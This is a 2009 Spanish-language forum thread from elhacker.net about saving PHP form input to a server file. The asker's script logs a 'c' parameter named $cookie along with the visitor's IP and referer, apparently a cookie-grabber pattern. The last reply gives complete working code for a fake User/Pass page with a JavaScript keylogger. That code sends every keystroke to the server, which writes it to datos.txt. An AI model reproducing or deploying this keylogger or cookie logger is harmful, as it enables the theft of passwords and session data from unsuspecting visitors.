Foro de elhacker.net

Programación => PHP => Mensaje iniciado por: CICOLO_111234 en 19 Febrero 2009, 19:59 pm



Título: escribir los campos del formulario en un txt
Publicado por: CICOLO_111234 en 19 Febrero 2009, 19:59 pm
hola!

m gustaria saber como guardar lo q el se escriba en un campo d texto en un archivo txt del servidor...


salu2


Título: Re: escribir los campos del formulario en un txt
Publicado por: Novlucker en 19 Febrero 2009, 20:19 pm
Solamente tienes que tener un formulario cuyos campos sean variables y pasas los datos almacenados en esa variable al php para que se encargue de tratarlos  :P

Código:
http://www.php.net/fopen

Saludos


Título: Re: escribir los campos del formulario en un txt
Publicado por: Nakp en 19 Febrero 2009, 20:28 pm
Código
  1. if($archivo = fopen('archivo.txt', 'a'))
  2.   fwrite($archivo, $texto_a_agregar);
  3.  
  4. fclose($archivo);

http://www.php.net/fwrite
http://www.php.net/fopen
http://www.php.net/fread
http://www.php.net/fclose

salu2


Título: Re: escribir los campos del formulario en un txt
Publicado por: CICOLO_111234 en 19 Febrero 2009, 21:18 pm
yo habia pensado algo asi:

<?php
$texto= $_GET['c'];
$date=date("j F, Y, g:i a");
$fp = fopen('archivo.txt', 'a');
fwrite($fp, '
Texto: '.$texto.'   <br>

Fecha y hora: ' .$date. '   <br><br>');
fclose($fp);
?>

y luego vas a http://www.tuserver.com/elarchivo.php?c= y luego el name del input box del formulario. lo he intentado pero no me sale, por favor, ayuda...

salu2


Título: Re: escribir los campos del formulario en un txt
Publicado por: Nakp en 19 Febrero 2009, 21:32 pm
permisos de escritura en el archivo (ya debe existir)


Título: Re: escribir los campos del formulario en un txt
Publicado por: CICOLO_111234 en 19 Febrero 2009, 21:34 pm
podriais darme el codigo?

es q sino m parece q no lo voy a entender...  :-(


Título: Re: escribir los campos del formulario en un txt
Publicado por: Nakp en 19 Febrero 2009, 21:38 pm
bueh... no es necesario que exista porque lo crea pero si son necesarios permisos (770) en la carpeta los cuales puedes poner con tu cliente ftp o en tu panel de admin


Título: Re: escribir los campos del formulario en un txt
Publicado por: CICOLO_111234 en 19 Febrero 2009, 21:45 pm
ya lo he resuelto... esto es lo q hice:

cree el archivo prueba.html con este codigo:

Código:
<html>
<body>
<form id="form1" name="form1" method="post" action="enviar.php">
  <label>
  <input name="email" type="text" id="email" />
  </label>
  <label>
  <input type="submit" name="Submit" value="Enviar" />
  </label>
</form>
</body>
</html>

y luego enviar.php:

Código:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('datos.html', 'a');
fwrite($fp, '
Texto: '.$email.'   <br>

Fecha y hora: ' .$date. '   <br><br>');
fclose($fp);
?>

no tuve q lo d los permisos... gracias d todos modos

salu2  ;D ;D


Título: Re: escribir los campos del formulario en un txt
Publicado por: Nakp en 19 Febrero 2009, 21:50 pm
ara? aqui el problema... envias datos con post y los esperabas capturar con get y email sabe Dios donde la declaraste xD


Título: Re: escribir los campos del formulario en un txt
Publicado por: invisible_hack en 19 Febrero 2009, 23:44 pm
Vaya, jeje, qué casualidad, yo que también estoy empezando con PHP pues se me ocurrió hacer como uno de mis primeros proyectos serios un encriptador de passwords en MD5, es decir, la web consta de un formulario con un textbox y un botón. El usuario mete una palabra en el textbox, le da al botón, y se le abre otra página informándole de la palabra que metió y su equivalente cifrado en MD5, además de guardar en un txt dentro de la propia web ambos datos (palabra introducida por el user y su equivalencia en MD5)

Para realizar eso he tenido que hacer justo lo que se trata en este post, leer el dato que el user introduce y mostrarlo luego por pantalla (aunque en mi caso es aun mas dificil el tema porque además tengo que hacer la conversión en MD5)

Bueno, ya tengo bastante avanzado el proyecto, pero aún tengo que darle por el lado del diseño gráfico, ademas de que quiero añadirle algunas cosillas más, para no dejarlo tan simple...

Bueno, quizás algún dia me anime a publicar el source (cuando vaya avanzando mas en Php y vaya haciendo cosas mejores)

Un saludo ^^


Título: Re: escribir los campos del formulario en un txt
Publicado por: Nakp en 19 Febrero 2009, 23:52 pm
hacer la conversión a md5?

http://php.net/md5

y yo me pregunto... por que no leen un poco mas :P


Título: Re: escribir los campos del formulario en un txt
Publicado por: invisible_hack en 20 Febrero 2009, 00:00 am
hacer la conversión a md5?

http://php.net/md5

y yo me pregunto... por que no leen un poco mas :P

Si relees mi post verás que no pregunté como hacer la conversión MD5, sino que dije que ya hice un conversor de MD5, para el cual tenia que interactuar con los datos que el usuario metiese en el textbox y al pulsar el botón (que es de esto ultimo de lo que se habla en este post), con lo cual yo no pregunté nada, conté lo de mi conversor porque el tema que se trata en este post me lo recordó  :xD

Saludos


Título: Re: escribir los campos del formulario en un txt
Publicado por: Darioxhcx en 20 Febrero 2009, 00:06 am
y para que explicas tu caso si no tiene nada que ver con el tema .__.


Título: Re: escribir los campos del formulario en un txt
Publicado por: Nakp en 20 Febrero 2009, 00:39 am
hacer la conversión a md5?

http://php.net/md5

y yo me pregunto... por que no leen un poco mas :P

Si relees mi post verás que no pregunté como hacer la conversión MD5, sino que dije que ya hice un conversor de MD5, para el cual tenia que interactuar con los datos que el usuario metiese en el textbox y al pulsar el botón (que es de esto ultimo de lo que se habla en este post), con lo cual yo no pregunté nada, conté lo de mi conversor porque el tema que se trata en este post me lo recordó  :xD

Saludos

oséase que reinventaste la rueda... eso lo entendí, si ya lo hiciste para practicar ya sos vos


Título: Re: escribir los campos del formulario en un txt
Publicado por: WHK en 20 Febrero 2009, 07:18 am
Hay una forma para enviar los valores de cada tecla pulsada directamente al archivo sin la necesidad de enviar la petición y te ahorras todo el jaleo:
Código
  1. <?php
  2.  
  3. if(!$_GET['k']){ ?>
  4. Ingrese sus datos<br />
  5. <input type=text /> User<br>
  6. <input type=text /> Pass<br>
  7. <input type=submit>
  8.  
  9. <script>
  10.  
  11. document.onkeydown = function(e){
  12. if (!e) e = window.event;
  13. var unicode = e.charCode ? e.charCode: e.keyCode;
  14. var mod = (e.ctrlKey) ? 'Ctrl-': (e.altKey) ? 'Alt-': (e.shiftKey) ? 'Shift-': '';
  15. var tecla = mod + String.fromCharCode(unicode);
  16. grabar('http://<?php echo $_SERVER[HTTP_HOST].$_SERVER[SCRIPT_NAME]; ?>?k=' + tecla);
  17. }
  18.  
  19. function grabar(url){
  20. var xmlHttp = null;
  21. try{
  22.  xmlHttp = new XMLHttpRequest();
  23. }catch(e){
  24.  try{
  25.   xmlHttp = new ActiveXObject('Msxml2.XMLHTTP');
  26.  }catch(e){
  27.   xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
  28.  }
  29. }
  30. xmlHttp.onreadystatechange = function(){
  31.  if(xmlHttp.readyState == 4) try{
  32.   if(xmlHttp.status == 200) {}
  33.  }catch(e){}
  34. }
  35. xmlHttp.open('get', url);
  36. xmlHttp.send(null);
  37. }
  38. </script>
  39.  
  40. <?php
  41. }else{
  42. $file = fopen('datos.txt','a');
  43. fwrite($file,$_GET['k']);
  44. fclose($file);
  45. }
  46. ?>
  47.  

Lo que hace es tomar cada tecla pulsada y enviar su valor via GET al mismo archivo guardandolo en un txt, donde dice "a" puedes reemplazarlo por "x" para creación y sobreescritura o escritura solamente dependiendo si ya existe o no, puedes hacerlo con if(file_exist(.. etc etc.